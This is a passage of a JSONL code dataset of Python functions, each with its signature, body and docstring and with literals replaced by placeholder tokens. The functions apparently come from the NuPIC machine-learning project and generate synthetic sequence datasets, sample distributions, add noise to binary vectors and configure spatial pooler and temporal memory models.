{"signature": "def _generateSimple(filename=\"<STR_LIT>\", numSequences=<NUM_LIT:1>, elementsPerSeq=<NUM_LIT:3>, <EOL>numRepeats=<NUM_LIT:10>):", "body": "<EOL>scriptDir = os.path.dirname(__file__)<EOL>pathname = os.path.join(scriptDir, '<STR_LIT>', filename)<EOL>print(\"<STR_LIT>\" % (pathname))<EOL>fields = [('<STR_LIT>', '<STR_LIT>', '<STR_LIT:T>'), <EOL>('<STR_LIT>', '<STR_LIT:string>', '<STR_LIT>'),  <EOL>('<STR_LIT>', '<STR_LIT:float>', '<STR_LIT>')]  <EOL>outFile = FileRecordStream(pathname, write=True, fields=fields)<EOL>sequences = []<EOL>for i in range(numSequences):<EOL><INDENT>seq = [x for x in range(i*elementsPerSeq, (i+<NUM_LIT:1>)*elementsPerSeq)]<EOL>sequences.append(seq)<EOL><DEDENT>seqIdxs = []<EOL>for i in range(numRepeats):<EOL><INDENT>seqIdxs += list(range(numSequences))<EOL><DEDENT>random.shuffle(seqIdxs)<EOL>timestamp = datetime.datetime(year=<NUM_LIT>, month=<NUM_LIT:1>, day=<NUM_LIT:1>, hour=<NUM_LIT:0>, minute=<NUM_LIT:0>,<EOL>second=<NUM_LIT:0>)<EOL>timeDelta = datetime.timedelta(hours=<NUM_LIT:1>)<EOL>for seqIdx in seqIdxs:<EOL><INDENT>seq = sequences[seqIdx]<EOL>for x in seq:<EOL><INDENT>outFile.appendRecord([timestamp, str(x), x])<EOL>timestamp += timeDelta<EOL><DEDENT><DEDENT>for seqIdx in seqIdxs:<EOL><INDENT>seq = sequences[seqIdx]<EOL>for i,x in enumerate(seq):<EOL><INDENT>if i != <NUM_LIT:1>:<EOL><INDENT>outFile.appendRecord([timestamp, str(x), x])<EOL><DEDENT>timestamp += timeDelta<EOL><DEDENT><DEDENT>for seqIdx in seqIdxs:<EOL><INDENT>seq = sequences[seqIdx]<EOL>for i,x in enumerate(seq):<EOL><INDENT>if i != <NUM_LIT:1>:<EOL><INDENT>outFile.appendRecord([timestamp, str(x), x])<EOL><DEDENT>timestamp += timeDelta<EOL><DEDENT><DEDENT>for seqIdx in seqIdxs:<EOL><INDENT>seq = sequences[seqIdx]<EOL>for x in seq:<EOL><INDENT>outFile.appendRecord([timestamp, str(x), x])<EOL>timestamp += timeDelta<EOL><DEDENT><DEDENT>outFile.close()<EOL>", "docstring": "Generate a simple dataset. This contains a bunch of non-overlapping\n    sequences. \n\n    At the end of the dataset, we introduce missing records so that test\n    code can insure that the model didn't get confused by them. \n\n    Parameters:\n    ----------------------------------------------------\n    filename:       name of the file to produce, including extension. It will\n                    be created in a 'datasets' sub-directory within the \n                    directory containing this script. \n    numSequences:   how many sequences to generate\n    elementsPerSeq: length of each sequence\n    numRepeats:     how many times to repeat each sequence in the output", "id": "f17493:m0"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17497:m0"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17499:m0"}
{"signature": "def _generateSimple(filename=\"<STR_LIT>\", numSequences=<NUM_LIT:2>, elementsPerSeq=<NUM_LIT:1>, <EOL>numRepeats=<NUM_LIT:10>, resets=False):", "body": "<EOL>scriptDir = os.path.dirname(__file__)<EOL>pathname = os.path.join(scriptDir, '<STR_LIT>', filename)<EOL>print(\"<STR_LIT>\" % (pathname))<EOL>fields = [('<STR_LIT>', '<STR_LIT:int>', '<STR_LIT:R>'), <EOL>('<STR_LIT>', '<STR_LIT:string>', '<STR_LIT>'),  <EOL>('<STR_LIT>', '<STR_LIT:float>', '<STR_LIT>')]  <EOL>outFile = FileRecordStream(pathname, write=True, fields=fields)<EOL>sequences = []<EOL>for i in range(numSequences):<EOL><INDENT>seq = [x for x in range(i*elementsPerSeq, (i+<NUM_LIT:1>)*elementsPerSeq)]<EOL>sequences.append(seq)<EOL><DEDENT>seqIdxs = []<EOL>for i in range(numRepeats):<EOL><INDENT>seqIdxs += list(range(numSequences))<EOL><DEDENT>random.shuffle(seqIdxs)<EOL>for seqIdx in seqIdxs:<EOL><INDENT>reset = int(resets)<EOL>seq = sequences[seqIdx]<EOL>for x in seq:<EOL><INDENT>outFile.appendRecord([reset, str(x), x])<EOL>reset = <NUM_LIT:0><EOL><DEDENT><DEDENT>outFile.close()<EOL>", "docstring": "Generate a simple dataset. This contains a bunch of non-overlapping\n    sequences. \n\n    Parameters:\n    ----------------------------------------------------\n    filename:       name of the file to produce, including extension. It will\n                    be created in a 'datasets' sub-directory within the \n                    directory containing this script. \n    numSequences:   how many sequences to generate\n    elementsPerSeq: length of each sequence\n    numRepeats:     how many times to repeat each sequence in the output \n    resets:         if True, turn on reset at start of each sequence", "id": "f17515:m0"}
{"signature": "def _generateOverlapping(filename=\"<STR_LIT>\", numSequences=<NUM_LIT:2>, elementsPerSeq=<NUM_LIT:3>, <EOL>numRepeats=<NUM_LIT:10>, hub=[<NUM_LIT:0>,<NUM_LIT:1>], hubOffset=<NUM_LIT:1>, resets=False):", "body": "<EOL>assert (hubOffset + len(hub) <= elementsPerSeq)<EOL>scriptDir = os.path.dirname(__file__)<EOL>pathname = os.path.join(scriptDir, '<STR_LIT>', filename)<EOL>print(\"<STR_LIT>\" % (pathname))<EOL>fields = [('<STR_LIT>', '<STR_LIT:int>', '<STR_LIT:R>'), <EOL>('<STR_LIT>', '<STR_LIT:string>', '<STR_LIT>'),  <EOL>('<STR_LIT>', '<STR_LIT:float>', '<STR_LIT>')]  <EOL>outFile = FileRecordStream(pathname, write=True, fields=fields)<EOL>sequences = []<EOL>nextElemIdx = max(hub)+<NUM_LIT:1><EOL>for _ in range(numSequences):<EOL><INDENT>seq = []<EOL>for j in range(hubOffset):<EOL><INDENT>seq.append(nextElemIdx)<EOL>nextElemIdx += <NUM_LIT:1><EOL><DEDENT>for j in hub:<EOL><INDENT>seq.append(j)<EOL><DEDENT>j = hubOffset + len(hub)<EOL>while j < elementsPerSeq:<EOL><INDENT>seq.append(nextElemIdx)<EOL>nextElemIdx += <NUM_LIT:1><EOL>j += <NUM_LIT:1><EOL><DEDENT>sequences.append(seq)<EOL><DEDENT>seqIdxs = []<EOL>for _ in range(numRepeats):<EOL><INDENT>seqIdxs += list(range(numSequences))<EOL><DEDENT>random.shuffle(seqIdxs)<EOL>for seqIdx in seqIdxs:<EOL><INDENT>reset = int(resets)<EOL>seq = sequences[seqIdx]<EOL>for (x) in seq:<EOL><INDENT>outFile.appendRecord([reset, str(x), x])<EOL>reset = <NUM_LIT:0><EOL><DEDENT><DEDENT>outFile.close()<EOL>", "docstring": "Generate a temporal dataset containing sequences that overlap one or more\n    elements with other sequences. \n\n    Parameters:\n    ----------------------------------------------------\n    filename:       name of the file to produce, including extension. It will\n                    be created in a 'datasets' sub-directory within the \n                    directory containing this script. \n    numSequences:   how many sequences to generate\n    elementsPerSeq: length of each sequence\n    numRepeats:     how many times to repeat each sequence in the output \n    hub:            sub-sequence to place within each other sequence \n    hubOffset:      where, within each sequence, to place the hub\n    resets:         if True, turn on reset at start of each sequence", "id": "f17515:m1"}
{"signature": "def _generateFirstOrder0():", "body": "<EOL>numCategories = <NUM_LIT:5><EOL>initProb = numpy.zeros(numCategories)<EOL>initProb[<NUM_LIT:0>] = <NUM_LIT:1.0><EOL>firstOrder = dict()<EOL>firstOrder['<STR_LIT:0>'] = numpy.array([<NUM_LIT:0>, <NUM_LIT:0.1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT>])<EOL>firstOrder['<STR_LIT:1>'] = numpy.array([<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:0>])<EOL>firstOrder['<STR_LIT:2>'] = numpy.array([<NUM_LIT:1.0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>])<EOL>firstOrder['<STR_LIT:3>'] = numpy.array([<NUM_LIT:1.0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>])<EOL>firstOrder['<STR_LIT:4>'] = numpy.array([<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0.5>, <NUM_LIT:0.5>, <NUM_LIT:0>])<EOL>secondOrder = None<EOL>categoryList = ['<STR_LIT>' % x for x in range(<NUM_LIT:5>)]<EOL>return (initProb, firstOrder, secondOrder, <NUM_LIT:3>, categoryList)<EOL>", "docstring": "Generate the initial, first order, and second order transition\n    probabilities for 'probability0'. For this model, we generate the following\n    set of sequences:\n\n      .1   .75\n    0----1-----2\n     \\    \\   \n      \\    \\  .25\n       \\    \\-----3\n        \\\n         \\ .9     .5 \n          \\--- 4--------- 2\n                \\\n                 \\   .5\n                  \\---------3   \n\n\n\n\n    Parameters:\n    ----------------------------------------------------------------------\n    retval: (initProb, firstOrder, secondOrder, seqLen)\n              initProb:     Initial probability for each category. This is a vector\n                              of length len(categoryList).\n              firstOrder:   A dictionary of the 1st order probabilities. The key\n                              is the 1st element of the sequence, the value is\n                              the probability of each 2nd element given the first. \n              secondOrder:  A dictionary of the 2nd order probabilities. The key\n                              is the first 2 elements of the sequence, the value is\n                              the probability of each possible 3rd element given the \n                              first two. \n              seqLen:       Desired length of each sequence. The 1st element will\n                            be generated using the initProb, the 2nd element by the\n                            firstOrder table, and the 3rd and all successive \n                            elements by the secondOrder table. \n              categoryList:  list of category names to use\n\n\n    Here is an example of some return values when there are 3 categories\n    initProb:         [0.7, 0.2, 0.1]\n\n    firstOrder:       {'[0]': [0.3, 0.3, 0.4],\n                       '[1]': [0.3, 0.3, 0.4],\n                       '[2]': [0.3, 0.3, 0.4]}\n\n    secondOrder:      {'[0,0]': [0.3, 0.3, 0.4],\n                       '[0,1]': [0.3, 0.3, 0.4],\n                       '[0,2]': [0.3, 0.3, 0.4],\n                       '[1,0]': [0.3, 0.3, 0.4],\n                       '[1,1]': [0.3, 0.3, 0.4],\n                       '[1,2]': [0.3, 0.3, 0.4],\n                       '[2,0]': [0.3, 0.3, 0.4],\n                       '[2,1]': [0.3, 0.3, 0.4],\n                       '[2,2]': [0.3, 0.3, 0.4]}", "id": "f17515:m2"}
{"signature": "def _generateFileFromProb(filename, numRecords, categoryList, initProb, <EOL>firstOrderProb, secondOrderProb, seqLen, numNoise=<NUM_LIT:0>, resetsEvery=None):", "body": "<EOL>print(\"<STR_LIT>\" % (filename))<EOL>fields = [('<STR_LIT>', '<STR_LIT:int>', '<STR_LIT:R>'), <EOL>('<STR_LIT>', '<STR_LIT:string>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT:float>', '<STR_LIT>')]<EOL>scriptDir = os.path.dirname(__file__)<EOL>pathname = os.path.join(scriptDir, '<STR_LIT>', filename)<EOL>outFile = FileRecordStream(pathname, write=True, fields=fields)<EOL>initCumProb = initProb.cumsum()<EOL>firstOrderCumProb = dict()<EOL>for (key,value) in firstOrderProb.items():<EOL><INDENT>firstOrderCumProb[key] = value.cumsum()<EOL><DEDENT>if secondOrderProb is not None:<EOL><INDENT>secondOrderCumProb = dict()<EOL>for (key,value) in secondOrderProb.items():<EOL><INDENT>secondOrderCumProb[key] = value.cumsum()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>secondOrderCumProb = None<EOL><DEDENT>elementsInSeq = []<EOL>numElementsSinceReset = <NUM_LIT:0><EOL>maxCatIdx = len(categoryList) - <NUM_LIT:1><EOL>for _ in range(numRecords):<EOL><INDENT>if numElementsSinceReset == <NUM_LIT:0>:<EOL><INDENT>reset = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>reset = <NUM_LIT:0><EOL><DEDENT>rand = numpy.random.rand()<EOL>if secondOrderCumProb is None:<EOL><INDENT>if len(elementsInSeq) == <NUM_LIT:0>:<EOL><INDENT>catIdx = numpy.searchsorted(initCumProb, rand)<EOL><DEDENT>elif len(elementsInSeq) >= <NUM_LIT:1> and(seqLen is None or len(elementsInSeq) < seqLen-numNoise):<EOL><INDENT>catIdx = numpy.searchsorted(firstOrderCumProb[str(elementsInSeq[-<NUM_LIT:1>])], <EOL>rand)<EOL><DEDENT>else:   <EOL><INDENT>catIdx = numpy.random.randint(len(categoryList))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if len(elementsInSeq) == <NUM_LIT:0>:<EOL><INDENT>catIdx = numpy.searchsorted(initCumProb, rand)<EOL><DEDENT>elif len(elementsInSeq) == <NUM_LIT:1>:<EOL><INDENT>catIdx = numpy.searchsorted(firstOrderCumProb[str(elementsInSeq)], rand)<EOL><DEDENT>elif (len(elementsInSeq) >=<NUM_LIT:2>) and(seqLen is None or len(elementsInSeq) < seqLen-numNoise):<EOL><INDENT>catIdx = numpy.searchsorted(secondOrderCumProb[str(elementsInSeq[-<NUM_LIT:2>:])], rand)<EOL><DEDENT>else:   <EOL><INDENT>catIdx = numpy.random.randint(len(categoryList))<EOL><DEDENT><DEDENT>catIdx = min(maxCatIdx, catIdx)<EOL>outFile.appendRecord([reset, categoryList[catIdx], catIdx])    <EOL>elementsInSeq.append(catIdx)<EOL>numElementsSinceReset += <NUM_LIT:1><EOL>if resetsEvery is not None and numElementsSinceReset == resetsEvery:<EOL><INDENT>numElementsSinceReset = <NUM_LIT:0><EOL>elementsInSeq = []<EOL><DEDENT>if seqLen is not None and (len(elementsInSeq) == seqLen+numNoise):<EOL><INDENT>elementsInSeq = []<EOL><DEDENT><DEDENT>outFile.close()<EOL>", "docstring": "Generate a set of records reflecting a set of probabilities.\n\n    Parameters:\n    ----------------------------------------------------------------\n    filename:         name of .csv file to generate\n    numRecords:       number of records to generate\n    categoryList:     list of category names\n    initProb:         Initial probability for each category. This is a vector\n                        of length len(categoryList).\n    firstOrderProb:   A dictionary of the 1st order probabilities. The key\n                        is the 1st element of the sequence, the value is\n                        the probability of each 2nd element given the first. \n    secondOrderProb:  A dictionary of the 2nd order probabilities. The key\n                        is the first 2 elements of the sequence, the value is\n                        the probability of each possible 3rd element given the \n                        first two. If this is None, then the sequences will be\n                        first order only. \n    seqLen:           Desired length of each sequence. The 1st element will\n                        be generated using the initProb, the 2nd element by the\n                        firstOrder table, and the 3rd and all successive \n                        elements by the secondOrder table. None means infinite\n                        length. \n    numNoise:         Number of noise elements to place between each \n                        sequence. The noise elements are evenly distributed from \n                        all categories. \n    resetsEvery:      If not None, generate a reset every N records\n\n\n    Here is an example of some parameters:\n\n    categoryList:     ['cat1', 'cat2', 'cat3']\n\n    initProb:         [0.7, 0.2, 0.1]\n\n    firstOrderProb:   {'[0]': [0.3, 0.3, 0.4],\n                       '[1]': [0.3, 0.3, 0.4],\n                       '[2]': [0.3, 0.3, 0.4]}\n\n    secondOrderProb:  {'[0,0]': [0.3, 0.3, 0.4],\n                       '[0,1]': [0.3, 0.3, 0.4],\n                       '[0,2]': [0.3, 0.3, 0.4],\n                       '[1,0]': [0.3, 0.3, 0.4],\n                       '[1,1]': [0.3, 0.3, 0.4],\n                       '[1,2]': [0.3, 0.3, 0.4],\n                       '[2,0]': [0.3, 0.3, 0.4],\n                       '[2,1]': [0.3, 0.3, 0.4],\n                       '[2,2]': [0.3, 0.3, 0.4]}", "id": "f17515:m3"}
{"signature": "def chunk(l, n):", "body": "newn = int(<NUM_LIT:1.0> * len(l) / n + <NUM_LIT:0.5>)<EOL>for i in range(<NUM_LIT:0>, n-<NUM_LIT:1>):<EOL><INDENT>yield l[i*newn:i*newn+newn]<EOL><DEDENT>yield l[n*newn-newn:]<EOL>", "docstring": "Yield n successive chunks from l.", "id": "f17518:m3"}
{"signature": "def slice_sampler(px, N = <NUM_LIT:1>, x = None):", "body": "values = np.zeros(N, dtype=np.int)<EOL>samples = np.arange(len(px))<EOL>px = np.array(px) / (<NUM_LIT:1.>*sum(px))<EOL>u = uniform(<NUM_LIT:0>, max(px))<EOL>for n in range(N):<EOL><INDENT>included = px>=u<EOL>choice = random.sample(list(range(np.sum(included))), <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>values[n] = samples[included][choice]<EOL>u = uniform(<NUM_LIT:0>, px[included][choice])<EOL><DEDENT>if x:<EOL><INDENT>if len(x) == len(px):<EOL><INDENT>x=np.array(x)<EOL>values = x[values]<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return values<EOL>", "docstring": "Provides samples from a user-defined distribution.\n\nslice_sampler(px, N = 1, x = None)\n\nInputs:\npx = A discrete probability distribution.\nN  = Number of samples to return, default is 1\nx  = Optional list/array of observation values to return, where prob(x) = px.\n\nOutputs:\nIf x=None (default) or if len(x) != len(px), it will return an array of integers\nbetween 0 and len(px)-1. If x is supplied, it will return the\nsamples from x according to the distribution px.", "id": "f17518:m6"}
{"signature": "def getSearch(rootDir):", "body": "<EOL>dataPath = os.path.abspath(os.path.join(rootDir, '<STR_LIT>', '<STR_LIT>'))<EOL>streamDef = dict(<EOL>version = <NUM_LIT:1>, <EOL>info = \"<STR_LIT>\",<EOL>streams = [<EOL>dict(source=\"<STR_LIT>\" % (dataPath), <EOL>info=\"<STR_LIT>\",  <EOL>columns=[\"<STR_LIT:*>\"],<EOL>),<EOL>],<EOL>)<EOL>expDesc = {<EOL>\"<STR_LIT>\": '<STR_LIT>',<EOL>\"<STR_LIT>\":{<EOL>\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT>\": [<NUM_LIT:0>],<EOL>},<EOL>\"<STR_LIT>\":  \"<STR_LIT>\",<EOL>\"<STR_LIT>\": streamDef,<EOL>\"<STR_LIT>\": [<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:float>\",<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:string>\",<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:float>\",<EOL>},<EOL>],<EOL>\"<STR_LIT>\": -<NUM_LIT:1>,<EOL>}<EOL>return expDesc<EOL>", "docstring": "This method returns search description. See the following file for the\n    schema of the dictionary this method returns:\n      py/nupic/swarming/exp_generator/experimentDescriptionSchema.json\n\n    The streamDef element defines the stream for this model. The schema for this\n    element can be found at:\n      py/nupicengine/cluster/database/StreamDef.json", "id": "f17520:m0"}
{"signature": "def _generateCategory(filename=\"<STR_LIT>\", numSequences=<NUM_LIT:2>, elementsPerSeq=<NUM_LIT:1>, <EOL>numRepeats=<NUM_LIT:10>):", "body": "<EOL>scriptDir = os.path.dirname(__file__)<EOL>pathname = os.path.join(scriptDir, '<STR_LIT>', filename)<EOL>print(\"<STR_LIT>\" % (pathname))<EOL>fields = [('<STR_LIT>', '<STR_LIT:string>', '<STR_LIT>'), <EOL>('<STR_LIT>', '<STR_LIT:string>', '<STR_LIT>')]  <EOL>outFile = FileRecordStream(pathname, write=True, fields=fields)<EOL>sequences = []<EOL>for i in range(numSequences):<EOL><INDENT>seq = [x for x in range(i*elementsPerSeq, (i+<NUM_LIT:1>)*elementsPerSeq)]<EOL>sequences.append(seq)<EOL><DEDENT>seqIdxs = []<EOL>for i in range(numRepeats):<EOL><INDENT>seqIdxs += list(range(numSequences))<EOL><DEDENT>random.shuffle(seqIdxs)<EOL>for seqIdx in seqIdxs:<EOL><INDENT>seq = sequences[seqIdx]<EOL>for x in seq:<EOL><INDENT>outFile.appendRecord([str(seqIdx), str(x)])<EOL><DEDENT><DEDENT>outFile.close()<EOL>", "docstring": "Generate a simple dataset. This contains a bunch of non-overlapping\n    sequences. \n\n    Parameters:\n    ----------------------------------------------------\n    filename:       name of the file to produce, including extension. It will\n                    be created in a 'datasets' sub-directory within the \n                    directory containing this script. \n    numSequences:   how many sequences to generate\n    elementsPerSeq: length of each sequence\n    numRepeats:     how many times to repeat each sequence in the output", "id": "f17524:m0"}
{"signature": "def _generateScalar(filename=\"<STR_LIT>\", numSequences=<NUM_LIT:2>, elementsPerSeq=<NUM_LIT:1>, <EOL>numRepeats=<NUM_LIT:10>, stepSize=<NUM_LIT:0.1>, includeRandom=False):", "body": "<EOL>scriptDir = os.path.dirname(__file__)<EOL>pathname = os.path.join(scriptDir, '<STR_LIT>', filename)<EOL>print(\"<STR_LIT>\" % (pathname))<EOL>fields = [('<STR_LIT>', '<STR_LIT:float>', '<STR_LIT>'), <EOL>('<STR_LIT>', '<STR_LIT:float>', '<STR_LIT>')]  <EOL>if includeRandom:<EOL><INDENT>fields += [('<STR_LIT>', '<STR_LIT:float>', '<STR_LIT>')]  <EOL><DEDENT>outFile = FileRecordStream(pathname, write=True, fields=fields)<EOL>sequences = []<EOL>for i in range(numSequences):<EOL><INDENT>seq = [x for x in range(i*elementsPerSeq, (i+<NUM_LIT:1>)*elementsPerSeq)]<EOL>sequences.append(seq)<EOL><DEDENT>random.seed(<NUM_LIT>)<EOL>seqIdxs = []<EOL>for i in range(numRepeats):<EOL><INDENT>seqIdxs += list(range(numSequences))<EOL><DEDENT>random.shuffle(seqIdxs)<EOL>for seqIdx in seqIdxs:<EOL><INDENT>seq = sequences[seqIdx]<EOL>for x in seq:<EOL><INDENT>if includeRandom:<EOL><INDENT>outFile.appendRecord([seqIdx, x*stepSize, random.random()])<EOL><DEDENT>else:<EOL><INDENT>outFile.appendRecord([seqIdx, x*stepSize])<EOL><DEDENT><DEDENT><DEDENT>outFile.close()<EOL>", "docstring": "Generate a simple dataset. This contains a bunch of non-overlapping\n    sequences of scalar values. \n\n    Parameters:\n    ----------------------------------------------------\n    filename:       name of the file to produce, including extension. It will\n                    be created in a 'datasets' sub-directory within the \n                    directory containing this script. \n    numSequences:   how many sequences to generate\n    elementsPerSeq: length of each sequence\n    numRepeats:     how many times to repeat each sequence in the output\n    stepSize:       how far apart each scalar is \n    includeRandom:  if true, include another random field", "id": "f17524:m1"}
{"signature": "def getFileUsed():", "body": "<EOL>output = Configuration._readConfigFile(USER_CONFIG) <EOL>if output != {}:<EOL><INDENT>return USER_CONFIG<EOL><DEDENT>return DEFAULT_CONFIG<EOL>", "docstring": "Determine which NuPIC configuration file is being used and returns the\nname of the configuration file it is using. Either DEFAULT_CONFIG or\nUSER_CONFIG.", "id": "f17527:m0"}
{"signature": "def dbValidator():", "body": "fileused = getFileUsed()<EOL>host = Configuration.get(\"<STR_LIT>\")<EOL>port = int(Configuration.get(\"<STR_LIT>\"))<EOL>user = Configuration.get(\"<STR_LIT>\")<EOL>passwd = Configuration.get(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print()<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print()<EOL>print(\"<STR_LIT>\")<EOL>print()<EOL>print(\"<STR_LIT>\", fileused)<EOL>print(\"<STR_LIT>\", host)<EOL>print(\"<STR_LIT>\", port)<EOL>print(\"<STR_LIT>\", user)<EOL>print(\"<STR_LIT>\", \"<STR_LIT:*>\" * len(passwd))<EOL>testDbConnection(host, port, user, passwd)<EOL>print(\"<STR_LIT>\")<EOL>", "docstring": "Let the user know what NuPIC config file is being used\nand whether or not they have mysql set up correctly for\nswarming.", "id": "f17527:m2"}
{"signature": "def __init__(self, inputDimensions, columnDimensions):", "body": "self.inputDimensions = inputDimensions<EOL>self.columnDimensions = columnDimensions<EOL>self.inputSize = np.array(inputDimensions).prod()<EOL>self.columnNumber = np.array(columnDimensions).prod()<EOL>self.inputArray = np.zeros(self.inputSize, dtype=uintType)<EOL>self.activeArray = np.zeros(self.columnNumber, dtype=uintType)<EOL>random.seed(<NUM_LIT:1>)<EOL>self.sp = SP(self.inputDimensions,<EOL>self.columnDimensions,<EOL>potentialRadius = self.inputSize,<EOL>numActiveColumnsPerInhArea = int(<NUM_LIT>*self.columnNumber),<EOL>globalInhibition = True,<EOL>seed = <NUM_LIT:1>,<EOL>synPermActiveInc = <NUM_LIT>,<EOL>synPermInactiveDec = <NUM_LIT>)<EOL>", "docstring": "Parameters:\n----------\n_inputDimensions: The size of the input. (m,n) will give a size m x n\n_columnDimensions: The size of the 2 dimensional array of columns", "id": "f17528:c0:m0"}
{"signature": "def createInput(self):", "body": "print(\"<STR_LIT:->\" * <NUM_LIT> + \"<STR_LIT>\" + \"<STR_LIT:->\" * <NUM_LIT>)<EOL>self.inputArray[<NUM_LIT:0>:] = <NUM_LIT:0><EOL>for i in range(self.inputSize):<EOL><INDENT>self.inputArray[i] = random.randrange(<NUM_LIT:2>)<EOL><DEDENT>", "docstring": "create a random input vector", "id": "f17528:c0:m1"}
{"signature": "def run(self):", "body": "print(\"<STR_LIT:->\" * <NUM_LIT> + \"<STR_LIT>\" + \"<STR_LIT:->\" * <NUM_LIT>)<EOL>self.sp.compute(self.inputArray, True, self.activeArray)<EOL>print(self.activeArray.nonzero())<EOL>", "docstring": "Run the spatial pooler with the input vector", "id": "f17528:c0:m2"}
{"signature": "def addNoise(self, noiseLevel):", "body": "for _ in range(int(noiseLevel * self.inputSize)):<EOL><INDENT>randomPosition = int(random.random() * self.inputSize)<EOL>if self.inputArray[randomPosition] == <NUM_LIT:1>:<EOL><INDENT>self.inputArray[randomPosition] = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>self.inputArray[randomPosition] = <NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "Flip the value of 10% of input bits (add noise)\n\n        :param noiseLevel: The percentage of total input bits that should be flipped", "id": "f17528:c0:m3"}
{"signature": "def percentOverlap(x1, x2, size):", "body": "nonZeroX1 = np.count_nonzero(x1)<EOL>nonZeroX2 = np.count_nonzero(x2)<EOL>minX1X2 = min(nonZeroX1, nonZeroX2)<EOL>percentOverlap = <NUM_LIT:0><EOL>if minX1X2 > <NUM_LIT:0>:<EOL><INDENT>percentOverlap = float(np.dot(x1, x2))/float(minX1X2)<EOL><DEDENT>return percentOverlap<EOL>", "docstring": "Computes the percentage of overlap between vectors x1 and x2.\n\n@param x1   (array) binary vector\n@param x2   (array) binary vector\n@param size (int)   length of binary vectors\n\n@return percentOverlap (float) percentage overlap between x1 and x2", "id": "f17529:m0"}
{"signature": "def corruptVector(vector, noiseLevel):", "body": "size = len(vector)<EOL>for i in range(size):<EOL><INDENT>rnd = random.random()<EOL>if rnd < noiseLevel:<EOL><INDENT>if vector[i] == <NUM_LIT:1>:<EOL><INDENT>vector[i] = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>vector[i] = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Corrupts a binary vector by inverting noiseLevel percent of its bits.\n\n@param vector     (array) binary vector to be corrupted\n@param noiseLevel (float) amount of noise to be applied on the vector.", "id": "f17529:m1"}
{"signature": "def resetVector(x1, x2):", "body": "size = len(x1)<EOL>for i in range(size):<EOL><INDENT>x2[i] = x1[i]<EOL><DEDENT>", "docstring": "Copies the contents of vector x1 into vector x2.\n\n@param x1 (array) binary vector to be copied\n@param x2 (array) binary vector where x1 is copied", "id": "f17529:m2"}
{"signature": "def _printOneTrainingVector(x):", "body": "print('<STR_LIT>'.join('<STR_LIT:1>' if k != <NUM_LIT:0> else '<STR_LIT:.>' for k in x))<EOL>", "docstring": "Print a single vector succinctly.", "id": "f17530:m0"}
{"signature": "def _getSimplePatterns(numOnes, numPatterns):", "body": "numCols = numOnes * numPatterns<EOL>p = []<EOL>for i in range(numPatterns):<EOL><INDENT>x = np.zeros(numCols, dtype='<STR_LIT>')<EOL>x[i*numOnes:(i + <NUM_LIT:1>)*numOnes] = <NUM_LIT:1><EOL>p.append(x)<EOL><DEDENT>return p<EOL>", "docstring": "Very simple patterns. Each pattern has numOnes consecutive\n    bits on. There are numPatterns*numOnes bits in the vector. These patterns\n    are used as elements of sequences when building up a training set.", "id": "f17530:m1"}
{"signature": "def _createTms(numCols):", "body": "<EOL>minThreshold = <NUM_LIT:4><EOL>activationThreshold = <NUM_LIT:5><EOL>newSynapseCount = <NUM_LIT:7><EOL>initialPerm = <NUM_LIT><EOL>connectedPerm = <NUM_LIT:0.5><EOL>permanenceInc = <NUM_LIT:0.1><EOL>permanenceDec = <NUM_LIT><EOL>globalDecay = <NUM_LIT:0><EOL>cellsPerColumn = <NUM_LIT:1><EOL>cppTm = BacktrackingTMCPP(numberOfCols=numCols,<EOL>cellsPerColumn=cellsPerColumn,<EOL>initialPerm=initialPerm,<EOL>connectedPerm=connectedPerm,<EOL>minThreshold=minThreshold,<EOL>newSynapseCount=newSynapseCount,<EOL>permanenceInc=permanenceInc,<EOL>permanenceDec=permanenceDec,<EOL>activationThreshold=activationThreshold,<EOL>globalDecay=globalDecay, burnIn=<NUM_LIT:1>,<EOL>seed=SEED, verbosity=VERBOSITY,<EOL>checkSynapseConsistency=True,<EOL>pamLength=<NUM_LIT:1000>)<EOL>cppTm.retrieveLearningStates = True<EOL>pyTm = 